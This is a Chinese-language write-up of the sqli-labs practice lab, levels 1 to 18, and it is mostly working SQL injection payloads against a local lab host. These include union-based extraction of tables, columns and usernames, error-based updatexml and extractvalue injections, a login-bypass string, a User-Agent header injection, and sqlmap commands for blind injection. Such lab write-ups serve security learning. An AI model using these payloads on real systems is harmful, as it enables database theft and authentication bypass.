sqllabs 闯关wp

Less 1

首先先测试为字符型,并且干扰字符为 单引号 ,所以构造语句如下

http://192.168.9.128/sqli-labs/Less-1/?id=1%27%20--+  

爆字段

http://192.168.9.128/sqli-labs/Less-1/?id=1' order by 3--+

爆表
不要忘了 group_concat 函数

http://192.168.9.128/sqli-labs/Less-1/?id=999' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema = database() --+    

爆字段

http://192.168.9.128/sqli-labs/Less-1/?id=999' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name ='users' --+

查询我们想要的

http://192.168.9.128/sqli-labs/Less-1/?id=999' union select 1,group_concat(username) ,3 from users --+

Less 2

经过尝试发现为数字型注入,基本与第一关相同
直接上最后的payload

http://192.168.9.128/sqli-labs/Less-1/?id=999 union select 1,group_concat(username) ,3 from users --+

Less 3

发现后台语句为

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

或者偷偷跑一下…
sqllabs 闯关wp

所以payload同上,干扰符改变

http://192.168.9.128/sqli-labs/Less-3/?id=999') union select 1,group_concat(username) ,3 from users --+

Less 4

先随便尝试一下

http://192.168.9.128/sqli-labs/Less-4/?id=1" 

发现报错了,同时给了我们关键的信息,直接将干扰符给爆出来了
sqllabs 闯关wp
所以思路同上。

http://192.168.9.128/sqli-labs/Less-4/?id=999") union select 1,group_concat(username) ,3 from users --+

Less 5

首先进来发现这关好像没回显,随便试一下报错爆出干扰符
sqllabs 闯关wp
这里没有回显的话可以用盲注或者 报错注入
我们选择报错注入

http://192.168.9.128/sqli-labs/Less-5/?id=1' and  updatexml(1,concat(0x7e,(select group_concat(username)  from users ),0x7e),1) --+

上面的payload发现数据没有显示全,所以就不能用group_concat()函数 ,( group_concat()函数的作用:将返回信息拼接成一行显示)
得用 limit 一个一个一个来了

http://192.168.9.128/sqli-labs/Less-5/?id=1' and  updatexml(1,concat(0x7e,(select username  from users limit 0,1 ),0x7e),1) --+

Less 6

干扰符改变,其他同上

http://192.168.9.128/sqli-labs/Less-6/?id=1"and  updatexml(1,concat(0x7e,(select username  from users limit 0,1 ),0x7e),1) --+

Less 7

几次尝试发现报错信息被ban了…就不能用报错注了,而且干扰符也没判断出来,现在可以写脚本爆破干扰符(不推荐)或者直接上
sqlmap(推荐)

sqlmap.py -u http://192.168.9.128/sqli-labs-master/Less-7/?id=1  --dbms mysql --batch -v 0
 --batch      默认确认,不询问你是否输入
 -v   【详细的等级(0-6)
          0:只显示Python的回溯,错误和关键消息。
          1:显示信息和警告消息。
          2:显示调试消息。
          3:有效载荷注入。
          4:显示HTTP请求。
          5:显示HTTP响应头。
          6:显示HTTP响应页面的内容
  threads

看后台
查询语句为

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

sqllabs 闯关wp

Less 8

发现压根连报错信息都无了
sqmap

sqlmap.py -u http://192.168.9.128/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0

Less 9

同上

Less 10

同上

Less 11

看到为登录框,想到是post形式的注入
直接抓包查看,果然找到两个参数
sqllabs 闯关wp
直接构造

uname=admin'and  updatexml(1,concat(0x7e,(select group_concat(username)  from users ),0x7e),1) --+&passwd=admin&submit=Submit

发现这样还是不会全部爆出来…
sqllabs 闯关wp
那还是用上面的 limit 来一个一个爆吧

万能密码也行
uname=1’or‘1’=1 # & passwd=xxxx

Less 12

更上面差不多,干扰符变了

uname=admin'") and  updatexml(1,concat(0x7e,(select group_concat(username)  from users ),0x7e),1) --+&passwd=admin&submit=Submit

Less 13

同上,还是只有干扰符变了

uname=admin') and  updatexml(1,concat(0x7e,(select group_concat(username)  from users ),0x7e),1) --+&passwd=admin&submit=Submit

Less 14

还是只改干扰符

uname=admin'" and  updatexml(1,concat(0x7e,(select group_concat(username)  from users ),0x7e),1) --+&passwd=admin&submit=Submit

Less 15

进去还是老样子 单引号双引号都试了一遍发现是没有回显的,报错信息也让 ban了所以只有盲注了
sqlmap跑起来

sqlmap.py -r "1.txt" --technique T --dbms mysql --batch -v 0 --threads 8

Less 16

同上

Less 17

进去页面,发现不是登录窗口而是修改密码…
当用户名正确时用update修改密码

但当我们输入语句后发现错误
You can’t specify target table ‘users’ for update in FROM clause

讲过一番搜索…
得到的解释是 ”不能在对同一个表update的同时select“
大佬的解决方法是 查表时给表一个别名

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users) as aaa),0x7e),1) #&submit=Submit

Less 18
我们审计后台代码,发现 username和passwd使用了check_input函数进行检查 ,无法注入,但峰回路转的是下面将ua的值插入了数据库
sqllabs 闯关wp
sqllabs 闯关wp
所以我们直接在ua处构造

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
上一篇:LAMP源码编译安装


下一篇:【ThreadX全家桶】GuiX移植之LTDC